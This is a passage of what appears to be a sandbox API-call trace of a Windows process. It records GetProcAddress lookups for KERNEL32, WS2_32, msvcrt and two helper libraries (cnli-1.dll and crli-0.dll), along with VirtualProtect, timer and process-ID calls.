0x76e25414 [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="FileTimeToLocalFileTime") returned 0x76e2e29e [0119.595] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileTime") returned 0x76e24407 [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileTime") returned 0x76e3ecbb [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFileTimeToFileTime") returned 0x76e4d50e [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileSize") returned 0x76e2196e [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileA") returned 0x76e25444 [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileExA") returned 0x76e4ccc1 [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileA") returned 0x76e458e5 [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="MapViewOfFileEx") returned 0x76e24c83 [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileMappingA") returned 0x76e25506 [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="UnmapViewOfFile") returned 0x76e21826 [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="CreateDirectoryA") returned 0x76e4d526 [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="RemoveDirectoryA") returned 0x76ea44bf [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileA") returned 0x76e4d53e [0119.596] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileA") returned 0x76e2e2ce [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentDirectoryA") returned 0x76e4d4f6 [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentDirectoryW") returned 0x76e25611 [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="GetTempPathW") returned 0x76e3d4dc [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesW") returned 0x76e21b18 [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointer") returned 0x76e217d1 [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileExW") returned 0x76e39b2d [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileW") returned 0x76e4830d [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="GetFullPathNameW") returned 0x76e240d4 [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="CreateDirectoryW") returned 0x76e24259 [0119.597] GetProcAddress (hModule=0x76e10000, lpProcName="RemoveDirectoryW") returned 0x76ea44cf [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="GetExitCodeThread") returned 0x76e3d5b5 [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadPriority") returned 0x76e232bb [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThread") returned 0x76e217ec [0119.598] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexA") returned 0x76e24c6b [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseMutex") returned 0x76e2111e [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreA") returned 0x76e4d172 [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSemaphore") returned 0x76e3d3ab [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSection") returned 0x77352c42 [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventA") returned 0x76e2328c [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="ResetEvent") returned 0x76e216dd [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedDecrement") returned 0x76e213f0 [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedIncrement") returned 0x76e21400 [0119.599] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="ResumeThread") returned 0x76e243ef [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="GetWindowsDirectoryW") returned 0x76e243e2 [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.600] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.601] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.601] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.601] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x754b0000 [0119.601] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0119.601] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0119.601] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0119.601] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x75360000 [0119.601] GetProcAddress (hModule=0x75360000, lpProcName=0x1) returned 0x753668b6 [0119.601] GetProcAddress (hModule=0x75360000, lpProcName=0x4) returned 0x75366bdd [0119.601] GetProcAddress (hModule=0x75360000, lpProcName=0x3) returned 0x75363918 [0119.601] GetProcAddress (hModule=0x75360000, lpProcName=0x16) returned 0x7536449d [0119.601] GetProcAddress (hModule=0x75360000, lpProcName=0x12) returned 0x75366989 [0119.601] GetProcAddress (hModule=0x75360000, lpProcName=0x13) returned 0x75366f01 [0119.601] GetProcAddress (hModule=0x75360000, lpProcName=0x14) returned 0x753634b5 [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x10) returned 0x75366b0e [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x11) returned 0x7536b6dc [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x34) returned 0x75377673 [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x33) returned 0x75376c01 [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x7) returned 0x7536737d [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x15) returned 0x753641b6 [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0xd) returned 0x7536b001 [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x39) returned 0x7536a05b [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x97) returned 0x75366a8a [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x6f) returned 0x753637ad [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x6) returned 0x753630af [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x5) returned 0x75367147 [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0xa) returned 0x75363084 [0119.602] GetProcAddress (hModule=0x75360000, lpProcName=0x73) returned 0x75363ab2 [0119.603] GetProcAddress (hModule=0x75360000, lpProcName=0x74) returned 0x75363c5f [0119.603] GetProcAddress (hModule=0x75360000, lpProcName=0x17) returned 0x75363eb8 [0119.603] GetProcAddress (hModule=0x75360000, lpProcName=0x2) returned 0x75364582 [0119.603] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.603] GetProcAddress (hModule=0x76b40000, lpProcName="_vsnwprintf") returned 0x76b4bbce [0119.603] GetProcAddress (hModule=0x76b40000, lpProcName="wcschr") returned 0x76b4aa61 [0119.603] GetProcAddress (hModule=0x76b40000, lpProcName="_vsnprintf") returned 0x76b4d1a8 [0119.603] GetProcAddress (hModule=0x76b40000, lpProcName="strchr") returned 0x76b4dbeb [0119.603] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.603] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.603] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0119.603] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.603] GetProcAddress (hModule=0x76b40000, lpProcName="sscanf") returned 0x76b5ed4c [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="wcslen") returned 0x76b5d335 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="mbstowcs") returned 0x76b503a6 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="wcstombs") returned 0x76b64137 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="vsprintf") returned 0x76bb7677 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="strcpy") returned 0x76b58d6e [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="wcscpy") returned 0x76b5d4f8 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="wcsncpy") returned 0x76b5d3f3 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="_strdup") returned 0x76b647ad [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="_wcsdup") returned 0x76b4fa01 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0119.604] GetProcAddress (hModule=0x76b40000, lpProcName="wcscmp") returned 0x76b5d3b7 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="_stricmp") returned 0x76b4db38 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="_wcsicmp") returned 0x76b4a9e9 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="wcsncmp") returned 0x76b4b05e [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="_strnicmp") returned 0x76b50578 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="_wcsnicmp") returned 0x76b4aae3 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="wcscat") returned 0x76bc0ea6 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="strncat") returned 0x76b70909 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="strrchr") returned 0x76b4dbae [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="wcsrchr") returned 0x76b4a73f [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="strpbrk") returned 0x76b4f7b6 [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="wcspbrk") returned 0x76b4fadd [0119.605] GetProcAddress (hModule=0x76b40000, lpProcName="memchr") returned 0x76b5e134 [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="strspn") returned 0x76b6869c [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="wcsspn") returned 0x76b50014 [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="strstr") returned 0x76b4de4a [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="wcsstr") returned 0x76b4bf71 [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="isspace") returned 0x76b4c395 [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="iswctype") returned 0x76b4aa8c [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="isalnum") returned 0x76b50fdc [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="isdigit") returned 0x76b4b407 [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="isxdigit") returned 0x76b51070 [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="isgraph") returned 0x76b91150 [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="toupper") returned 0x76b4f7fa [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="towupper") returned 0x76b4f670 [0119.606] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="towlower") returned 0x76b4ad52 [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="strtol") returned 0x76b6e8f0 [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="wcstol") returned 0x76b4ff45 [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="strtoul") returned 0x76b5012e [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="wcstoul") returned 0x76b4b319 [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.607] GetProcAddress (hModule=0x76b40000, lpProcName="wcsncat") returned 0x76bc0ed9 [0119.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bc19e20, dwHighDateTime=0x1d5ca1f)) [0119.607] GetCurrentProcessId () returned 0x141c [0119.607] GetCurrentThreadId () returned 0x1420 [0119.607] GetTickCount () returned 0x1165b79 [0119.607] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26071743946) returned 1 [0119.608] malloc (_Size=0x80) returned 0x10b2828 [0119.609] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.609] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.609] VirtualProtect (in: lpAddress=0x23015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.609] VirtualProtect (in: lpAddress=0x23015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.609] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.609] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.609] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.609] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.609] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.609] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.609] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.610] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.610] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.610] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.660] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.660] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.660] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.660] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.660] GetModuleHandleA (lpModuleName="cnli-1.dll") returned 0x1f0000 [0119.660] GetProcAddress (hModule=0x1f0000, lpProcName="CNE_allocateCleanMemoryFunc") returned 0x1f5886 [0119.660] GetProcAddress (hModule=0x1f0000, lpProcName="byteSwapLong") returned 0x1f5b83 [0119.660] GetProcAddress (hModule=0x1f0000, lpProcName="CNEMem_cleanNClearNDestroyPointer") returned 0x1f594a [0119.660] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.661] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.661] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.661] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.661] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.661] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.661] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.661] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bcb23a0, dwHighDateTime=0x1d5ca1f)) [0119.661] GetCurrentProcessId () returned 0x141c [0119.661] GetCurrentThreadId () returned 0x1420 [0119.661] GetTickCount () returned 0x1165bb7 [0119.661] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26077106934) returned 1 [0119.661] malloc (_Size=0x80) returned 0x10b28b0 [0119.664] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.664] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.664] VirtualProtect (in: lpAddress=0x22015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.665] VirtualProtect (in: lpAddress=0x22015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.665] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0119.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.665] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.665] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.665] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.665] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.666] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.666] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.666] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.666] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.666] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.666] GetModuleHandleA (lpModuleName="cnli-1.dll") returned 0x1f0000 [0119.666] GetProcAddress (hModule=0x1f0000, lpProcName="VirtualArray_createFunc") returned 0x1fb7df [0119.666] GetProcAddress (hModule=0x1f0000, lpProcName="CNEVirtualArray_freeVAAndElements") returned 0x1fbbb0 [0119.666] GetProcAddress (hModule=0x1f0000, lpProcName="CNEVirtualArray_removeAtIndex") returned 0x1fb8d8 [0119.666] GetProcAddress (hModule=0x1f0000, lpProcName="CNEBlob_appendRandomData") returned 0x1f13c6 [0119.666] GetProcAddress (hModule=0x1f0000, lpProcName="CNEMem_cleanNClearNDestroyPointer") returned 0x1f594a [0119.666] GetProcAddress (hModule=0x1f0000, lpProcName="CNEMem_cleanNClear") returned 0x1f5807 [0119.666] GetProcAddress (hModule=0x1f0000, lpProcName="CNEString_snprintf") returned 0x1f9d25 [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="byteSwapLong") returned 0x1f5b83 [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="CNE_compareMemoryFunc") returned 0x1f591c [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="CNEVirtualArray_getElementAt") returned 0x1fb56a [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="CNEVirtualArray_getSize") returned 0x1fb58b [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="CNEVirtualArray_push") returned 0x1fbbd4 [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="CNEBlob_free") returned 0x1f1079 [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="CNEBlob_append") returned 0x1f1095 [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="CNEBlob_createFunc") returned 0x1f131b [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="CNE_allocateCleanMemoryFunc") returned 0x1f5886 [0119.667] GetProcAddress (hModule=0x1f0000, lpProcName="CNEVirtualArray_freeVA") returned 0x1fb53b [0119.667] GetModuleHandleA (lpModuleName="crli-0.dll") returned 0x230000 [0119.667] GetProcAddress (hModule=0x230000, lpProcName="CryptoLibV2_freeBuffer") returned 0x23159a [0119.667] GetProcAddress (hModule=0x230000, lpProcName="CryptoLibV2_getRandom") returned 0x23159f [0119.667] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="pow") returned 0x76b6608f [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="srand") returned 0x76b4f757 [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="time") returned 0x76b4f708 [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="floor") returned 0x76b4f95f [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="rand") returned 0x76b4c070 [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0119.668] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.669] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.669] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.669] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.669] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bcb23a0, dwHighDateTime=0x1d5ca1f)) [0119.669] GetCurrentProcessId () returned 0x141c [0119.669] GetCurrentThreadId () returned 0x1420 [0119.669] GetTickCount () returned 0x1165bb7 [0119.669] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26077889482) returned 1 [0119.669] malloc (_Size=0x80) returned 0x10b2938 [0119.669] GetVersion () returned 0x1db10106 [0119.684] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.684] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.684] VirtualProtect (in: lpAddress=0x5a4c015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.684] VirtualProtect (in: lpAddress=0x5a4c015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.684] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.684] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.684] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="_read") returned 0x76b5c245 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="_write") returned 0x76b54078 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="_vsnprintf") returned 0x76b4d1a8 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="memchr") returned 0x76b5e134 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="_errno") returned 0x76b4a5b8 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="strerror") returned 0x76b67a18 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="sprintf") returned 0x76b5d354 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.685] GetProcAddress (hModule=0x76b40000, lpProcName="strcpy") returned 0x76b58d6e [0119.686] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0119.686] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0119.686] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.686] GetProcAddress (hModule=0x76b40000, lpProcName="_lseek") returned 0x76b54a6c [0119.686] GetProcAddress (hModule=0x76b40000, lpProcName="_open") returned 0x76b67e48 [0119.686] GetProcAddress (hModule=0x76b40000, lpProcName="_close") returned 0x76b53ae2 [0119.686] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.686] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.686] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.686] GetProcAddress (hModule=0x76e10000, 